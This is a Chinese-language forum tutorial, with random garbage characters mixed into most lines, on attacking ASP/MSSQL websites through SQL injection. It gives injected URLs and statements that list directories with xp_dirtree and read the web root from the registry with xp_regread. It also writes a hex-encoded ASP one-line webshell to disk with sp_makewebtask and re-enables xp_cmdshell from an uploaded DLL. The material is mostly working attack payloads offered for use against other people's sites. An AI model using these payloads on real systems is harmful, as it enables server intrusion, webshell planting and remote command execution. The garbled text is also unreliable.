好,我们exec master..xp_dirtree'd:/test'* |8 b! X; c3 w5 ~& T
假设我们在test里有两个文件夹test1和test2在test1里又有test3
$ c' s! e2 @$ t8 w6 Y$ }* J结果显示3 z5 s% S% [: E, z$ _
) K H( a* v9 p$ r. Q" E
subdirectory depth
+ Q9 l3 ^# R% a# T1 i" \# D2 ?test1 1
6 v8 ?$ P8 J' i9 T! Y# L- rtest3 2; i5 R" j( Y' t+ {& \; z
test2 1
% \' n+ ~4 D: j; p% R; F0 m9 I
3 `3 @' z& W2 G6 `/ J哈哈发现没有那个depth就是目录的级数8 }* E% Y" p- Z' [7 `
ok了,知道怎么办了吧! y6 @% o% t6 P# Z9 E, w6 ~
- s3 d. z" v) e" z3 Dhttp://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(1000),id int)--
* r5 \# a$ D1 Q- N8 }3 H# thttp://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree 'd:\' -- 3 n' r, q" Q7 I
http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs where id=1)-: K& O. A' x1 w6 N5 d
& r' K* b" a2 y1 j( ~
只要加上id=1,就是第一级目录 。
" G. F( B" A6 o1 [4 W% m/ |# [& t& H
; v3 M1 I! T% `3 Q4 ^
' A( l! o! Z( @3 N M# G# n1 a通过注册表读网站路径:
6 ~* h" m2 h: n# E" `* Q2 V0 `" C2 E+ H7 Y2 K
1.;create table [dbo].[cyfd] ([gyfd][char](255));6 |3 z0 _$ Y# G/ D& Y r
3 e" c' ~+ @- I- V4 O# G. |2.DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE', 'SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into 临时表 (临时字段名) values(@result);--
% D& t. x3 I+ \id=2;DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into cyfd (gyfd) values(@result);--
: |# o7 C$ w% M: z# s7 V
( c/ ]$ |6 Q+ }9 k3.and 1=(select count(*) from 临时表 where 临时字段名>1)6 b7 |3 y! J) f" X6 w7 _
and 1=(select count(*) from cyfd where gyfd > 1)
9 T6 y7 q* | B. _, U! l+ g/ ?0 r这样IE报错,就把刚才插进去的Web路径的值报出来了
* ~- L- Y) s$ X! _1 O* W, l* P- F. ~. F) G; k
4.drop table cyfd;-- 删除临时表8 g* t. G1 H4 {9 u
6 v, O/ Y! W" V2 z- q
获得webshell方法:3 Q; F/ t4 h& h( S+ U2 y9 R) M8 [7 s
1.create table cmd (a image)-- \**cmd是创建的临时表
4 J# T$ B: f& f2 k
( y! `; C4 n4 Q7 ~& H2.insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253EDA)-- 往cmd表里插入一句话
0 }% S$ B% L$ X* Z3 p% H6 ~0 j* O
2 v. `4 V# T: t- d" I
3.EXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT image FROM cmd'9 P# M: f5 z3 v$ F: c4 b
EXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'
$ a2 S. L! s& q3 } A8 o$ Y# d# g
7 N* B/ z# ~' y4.drop table cmd;-- 删除cmd临时表
- I3 G" L0 S# |3 a
, m: K. X+ p) x$ q恢复xp_cmdshell方法之一:
8 u9 i3 Y B5 y8 i8 G L9 q我很快就把xplog70.dll文件给他上传到e:\inetpub\wwwroot目录下了,来吧,我们来给他恢复,提交:
% e3 k) {+ ? i, ]: }! P5 {http://www.something.com/script.asp?id=2;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','e:\inetpub\wwwroot\xplog70.dll'# {% Q8 {& ^- {3 N4 X) }
恢复,支持绝对路径的恢复哦。:)& ]! q7 A8 H; \( k* S
|